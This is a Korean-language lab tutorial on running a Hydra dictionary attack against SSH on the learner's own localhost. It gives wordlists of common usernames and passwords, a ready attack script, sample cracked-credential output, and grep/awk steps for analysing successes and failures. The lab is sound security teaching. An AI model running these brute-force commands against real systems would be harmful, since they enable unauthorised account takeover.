소개
이 랩에서는 강력한 패스워드 크래킹 도구인 Hydra 를 사용하여 SSH 서비스에 대한 사전 공격 (dictionary attack) 을 수행하는 방법을 배우게 됩니다. 사용자 이름 및 패스워드 목록 생성, 공격 매개변수 구성, SSH 서버에 대한 목표 무차별 대입 (brute-force) 시도 실행 과정을 살펴볼 것입니다.
이 랩은 Hydra 의 명령 구조, 출력 해석 및 결과 분석에 대한 실질적인 경험을 제공합니다. 입력 파일 확인, 공격 시작, 성공적인 로그인 자격 증명 식별을 연습하고 일반적인 실패 패턴을 이해하게 됩니다.
사용자 이름 및 패스워드 목록 로드
이 단계에서는 사전 공격 (dictionary attack) 에 필요한 구성 요소인 사용자 이름 및 패스워드 목록을 준비합니다. 사전 공격은 미리 정의된 목록 (사전) 의 모든 단어를 잠재적인 자격 증명으로 체계적으로 시도하여 작동합니다. SSH 공격의 경우, 가능한 사용자 이름이 포함된 파일과 가능한 패스워드가 포함된 파일, 두 개의 별도 파일이 필요합니다.
- 먼저, 파일을 저장할 프로젝트 디렉토리로 이동합니다. 이렇게 하면 모든 것이 정리됩니다.
cd ~/project
- 간단한 텍스트 편집기인 nano 를 사용하여 사용자 이름 목록을 만듭니다. 파일 이름
usernames.txt는 일반적이지만 다른 이름으로 지정할 수도 있습니다.
nano usernames.txt
- nano 편집기에서 시스템에서 사용할 수 있는 일반적인 SSH 사용자 이름을 입력합니다. 각 사용자 이름은 별도의 줄에 있어야 합니다. 다음은 관리자가 사용할 수 있는 일반적인 기본 또는 일반 사용자 이름입니다.
admin
root
user
test
guest
labex
nano 에서 저장하려면 Ctrl+O (문자 O) 를 누른 다음 Enter 키를 눌러 파일 이름을 확인합니다. Ctrl+X 로 nano 를 종료합니다. 그러면 명령줄로 돌아갑니다.
이제 동일한 프로세스를 사용하여 패스워드 파일을 만듭니다. 다음과 같은 약한 패스워드는 실제 시스템에서 놀랍도록 흔합니다.
nano passwords.txt
- 각 줄에 하나의 일반적인 패스워드를 입력합니다. 일부는 사용자 이름과 일치합니다. 사람들은 종종 동일한 문자열을 둘 다 사용합니다.
password
123456
admin
qwerty
letmein
labex
이전과 마찬가지로 nano 를 저장하고 종료합니다 (Ctrl+O, Enter, Ctrl+X).
파일이 올바르게 생성되었는지 확인해 보겠습니다.
ls -l명령은 파일이 존재함을 보여주고,cat은 내용을 표시합니다. 이는 진행하기 전에 중요한 품질 검사입니다.
ls -l usernames.txt passwords.txt
cat usernames.txt
cat passwords.txt
두 파일이 크기와 함께 나열되고 내용이 표시되는 것을 볼 수 있습니다. 이 파일은 사전 공격의 기초를 형성합니다. Hydra 는 다음 단계에서 이러한 목록의 모든 사용자 이름/패스워드 조합을 SSH 서버에 대해 체계적으로 시도합니다.
SSH 사전 공격을 위한 Hydra 설정
이 단계에서는 이전 단계에서 생성한 사용자 이름 및 패스워드 목록을 사용하여 SSH 사전 공격을 수행하도록 Hydra 를 구성합니다. 사전 공격은 Hydra 가 단어 목록에서 가능한 모든 조합을 체계적으로 시도하여 유효한 자격 증명을 찾는 방법입니다.
- 먼저, 프로젝트 파일이 저장된 올바른 작업 디렉토리에 있는지 확인합니다.
cd ~/project
이 명령은 현재 디렉토리를 작업할 프로젝트 폴더로 변경합니다.
- Hydra 버전을 확인하여 Hydra 가 설치되었는지 확인합니다.
hydra -v
설치된 Hydra 버전을 보여주는 출력을 볼 수 있습니다. 이는 Hydra 가 사용할 준비가 되었음을 확인하고 나중에 문제가 발생할 경우 문제 해결에 도움이 됩니다.
- 로컬 SSH 서버의 IP 주소가 포함된
target.txt라는 대상 파일을 만듭니다.
echo "127.0.0.1" > target.txt
이 랩 환경에서는 자체 머신을 대상으로 테스트하므로 127.0.0.1(localhost) 을 대상으로 사용합니다.
- SSH 공격에 대한 기본 Hydra 명령 구조를 이해합니다.
hydra -L <username_list> -P <password_list> <target> ssh
이는 최소 필수 매개변수를 보여줍니다: 사용자 이름 목록 (-L), 패스워드 목록 (-P), 대상 IP/호스트 이름 및 공격할 서비스 (ssh).
- 파일을 사용하여 실제 Hydra 명령을 준비합니다 (하지만 아직 실행하지 마십시오).
hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh
여기서:
-L은 사용자 이름 목록 파일 (usernames.txt) 을 지정합니다.-P는 패스워드 목록 파일 (passwords.txt) 을 지정합니다.-t 4는 병렬 연결 수를 설정합니다 (더 빠른 테스트를 위해 4 개의 스레드).-vV는 자세한 출력을 활성화하여 공격 진행 상황을 볼 수 있도록 합니다.
- 다음 단계에서 실행하기 위해 이 명령을 스크립트 파일에 저장합니다.
echo 'hydra -L usernames.txt -P passwords.txt -t 4 -vV 127.0.0.1 ssh' > attack.sh
chmod +x attack.sh
스크립트를 생성하면 공격을 다시 실행하기가 더 쉬워지고 명령을 잘못 입력하는 것을 방지할 수 있습니다. chmod 명령은 스크립트를 실행 가능하게 만듭니다.
- 진행하기 전에 필요한 모든 파일이 있는지 확인합니다.
ls -l usernames.txt passwords.txt target.txt attack.sh
이 최종 확인을 통해 사용자 이름 목록, 패스워드 목록, 대상 파일 및 공격 스크립트 등 필요한 모든 파일이 있는지 확인할 수 있습니다.
SSH 사전 공격 실행
이 단계에서는 이전 단계에서 준비한 구성을 사용하여 Hydra SSH 사전 공격을 실행합니다. Hydra 는 SSH 와 같은 서비스에 대해 다양한 사용자 이름과 패스워드 조합을 체계적으로 시도하는 인기 있는 패스워드 크래킹 도구입니다.
- 먼저, 공격 스크립트가 있는 올바른 작업 디렉토리에 있는지 확인합니다. Hydra 가 단어 목록 및 구성 파일에 액세스해야 하므로 이는 중요합니다.
cd ~/project
- 스크립트 내용을 표시하여 공격 스크립트가 준비되었는지 확인합니다. 이렇게 하면 실행 전에 Hydra 명령 매개변수를 다시 확인할 수 있습니다.
cat attack.sh
올바른 대상 IP, 포트 및 단어 목록 경로와 함께 이전에 준비한 Hydra 명령을 볼 수 있습니다.
- 실행하기 전에 자체 머신을 대상으로 테스트하므로 SSH 서비스가 localhost 에서 실행 중인지 확인합니다. Hydra 는 연결을 시도하려면 활성 SSH 서비스가 필요합니다.
sudo service ssh status
실행 중이 아니면 다음으로 시작합니다.
sudo service ssh start
- 공격 스크립트를 실행합니다. 이렇게 하면 구성한 모든 매개변수를 사용하여 Hydra 가 시작됩니다.
./attack.sh
- 공격 진행 상황을 실시간으로 관찰합니다. Hydra 는 다음과 같은 실시간 피드백을 제공합니다.
- 사용자 이름/패스워드 조합을 사용한 각 연결 시도
- 성공적인 로그인 (발견 시 강조 표시)
- 실패한 시도 (출력의 대부분)
- 성공률 및 소요 시간을 포함한 최종 통계
- 자격 증명이 발견되면 예상 출력은 다음과 유사합니다.
[DATA] attacking ssh://127.0.0.1:22/
[VERBOSE] Resolving addresses ... done
[22][ssh] host: 127.0.0.1 login: labex password: labex
1 of 1 target successfully completed, 1 valid password found
- 공격은 다음과 같은 조건에서 자동으로 중지됩니다.
- 단어 목록의 모든 조합을 테스트한 경우
- 유효한 자격 증명이 발견된 경우 (Hydra 의 기본 동작)
- Ctrl+C 로 수동으로 중단하는 경우
- 나중에 분석할 수 있도록 결과를 파일에 저장하려면 출력을 리디렉션합니다. 이렇게 하면 모든 시도 및 결과에 대한 영구적인 기록이 생성됩니다.
./attack.sh > attack_results.txt
성공적인 로그인 결과 확인
이 단계에서는 SSH 사전 공격 결과를 분석하여 성공적인 로그인 시도를 식별합니다. 보안 테스트를 수행할 때는 추가 분석을 진행하기 전에 결과를 적절하게 문서화하고 확인하는 것이 중요합니다.
- 먼저, 모든 랩 파일이 저장된 프로젝트 디렉토리로 이동합니다.
cd ~/project
- 이전 단계에서 공격 결과를 저장했는지 확인합니다.
ls -l명령은 생성 시간 및 권한을 포함한 자세한 파일 정보를 표시합니다.
ls -l attack_results.txt
- 이전에 결과를 저장하지 않은 경우, 지금 이 명령을 실행하여 생성합니다.
>기호는 Hydra 의 출력을 나중에 분석할 텍스트 파일로 리디렉션합니다.
./attack.sh > attack_results.txt
- 전체 공격 결과를 봅니다.
cat명령은 터미널에 파일의 전체 내용을 표시합니다.
cat attack_results.txt
- 다음과 유사한 형식으로 나타나는 성공적인 로그인 항목을 찾습니다. 각 성공적인 시도에는 세 가지 주요 정보가 포함되어 있습니다.
[22][ssh] host: 127.0.0.1 login: labex password: labex
- 잠재적으로 큰 결과 파일에서 성공적인 시도만 추출하려면 "login:"을 포함하는 줄을 필터링하기 위해
grep을 사용합니다. 이렇게 하면 결과를 검토할 때 시간을 절약할 수 있습니다.
grep "login:" attack_results.txt
- 출력 형식은 확인에 필요한 세 가지 중요한 요소를 보여줍니다.
- 대상 IP 주소 (127.0.0.1) - 자격 증명을 수락한 머신
- 성공적인 사용자 이름 (login) - 유효한 계정 이름
- 유효한 패스워드 - 해당 계정에 대한 일치하는 패스워드
- SSH 로그인을 시도하여 자격 증명을 확인합니다. 이렇게 하면 자격 증명이 실제 SSH 세션에서 실제로 작동하는지 확인합니다.
ssh labex@127.0.0.1
호스트 키를 수락하라는 메시지가 표시되면 "yes"를 입력하고 (처음 연결할 때 발생), 요청 시 패스워드를 입력합니다.
- 성공적인 로그인 후, 로컬 터미널로 돌아가려면 SSH 세션을 적절하게 종료합니다.
exit
- 가독성을 높이기 위해 이 명령 파이프라인으로 결과를 형식화합니다.
awk명령은 출력을 명확하게 레이블이 지정된 필드로 재구성합니다.
grep "login:" attack_results.txt | awk '{print "Host:",$3,"| Username:",$5,"| Password:",$7}'
공격 실패 메시지 이해
이 단계에서는 Hydra SSH 공격의 출력을 검토하여 특정 로그인 시도가 실패한 이유를 이해합니다. 이러한 실패 메시지를 분석하는 것은 시스템 취약성을 평가하는 보안 전문가와 공격 전략을 개선하는 침투 테스터 모두에게 중요합니다.
- 먼저, 공격 결과가 저장된 프로젝트 디렉토리로 이동합니다. 이렇게 하면 올바른 파일로 작업하고 있는지 확인합니다.
cd ~/project
- 이제 전체 공격 결과 파일을 봅니다. 여기에는 Hydra 의 로그인 시도에 대한 모든 출력이 포함되어 있습니다.
cat attack_results.txt
- 실패한 시도에 초점을 맞추기 위해 성공적인 로그인을 필터링하고 일반적인 오류 패턴을 찾습니다.
grep명령은 중요한 실패 메시지를 격리하는 데 도움이 됩니다.
grep -v "login:" attack_results.txt | grep -E "invalid|failed|error"
- 다음은 가장 일반적인 실패 메시지와 그 의미입니다.
invalid password: 사용자 이름은 올바르지만 패스워드가 일치하지 않습니다.invalid user: 사용자 이름이 대상 시스템에 존재하지 않습니다.connection refused: SSH 서비스가 대상에서 실행되고 있지 않습니다.connection timeout: 네트워크 문제 또는 방화벽이 액세스를 차단하고 있습니다.too many connections: 대상이 빠른 로그인 시도를 감지하고 차단했습니다.
- 각 실패 유형이 얼마나 발생했는지 정량화해 보겠습니다. 이를 계산하면 공격 패턴을 이해하는 데 도움이 됩니다.
grep -c "invalid password" attack_results.txt
grep -c "invalid user" attack_results.txt
- 특정 시간에 실패가 발생했는지 (속도 제한을 나타낼 수 있음) 확인하기 위해 타임스탬프를 추출하고 계산합니다.
grep "invalid" attack_results.txt | awk '{print $1}' | uniq -c
- 이제 실패에 대한 간단한 요약 보고서를 만듭니다. 이 정리된 보기는 결과를 문서화하는 데 도움이 됩니다.
echo "Attack Failure Analysis" > failure_analysis.txt
echo "Invalid passwords: $(grep -c 'invalid password' attack_results.txt)" >> failure_analysis.txt
echo "Invalid users: $(grep -c 'invalid user' attack_results.txt)" >> failure_analysis.txt
cat failure_analysis.txt
- 더 자세한 조사를 위해 대상 시스템의 SSH 로그를 확인할 수 있습니다 (액세스 권한이 있는 경우). 여기에는 종종 더 자세한 오류 정보가 포함되어 있습니다.
sudo grep 'sshd' /var/log/auth.log | tail -20
요약
이 랩에서는 사용자 이름 및 패스워드 목록을 준비하여 Hydra 를 사용하여 SSH 에 대한 사전 공격을 수행하는 방법을 배웠습니다. 이 과정에는 자격 증명 파일 생성, 내용 확인, 효과적인 공격을 위해 적절한 플래그 (-L, -P, 및 -t) 를 사용하여 Hydra 명령을 구성하는 작업이 포함되었습니다.
또한 성공적인 로그인을 식별하고 공격 결과를 분석하기 위해 Hydra 의 출력을 해석하는 방법을 탐구했습니다. 이 랩은 SSH 자격 증명 공격에서 적절한 파일 준비, 명령 구성 및 체계적인 테스트의 중요성을 보여주었습니다.


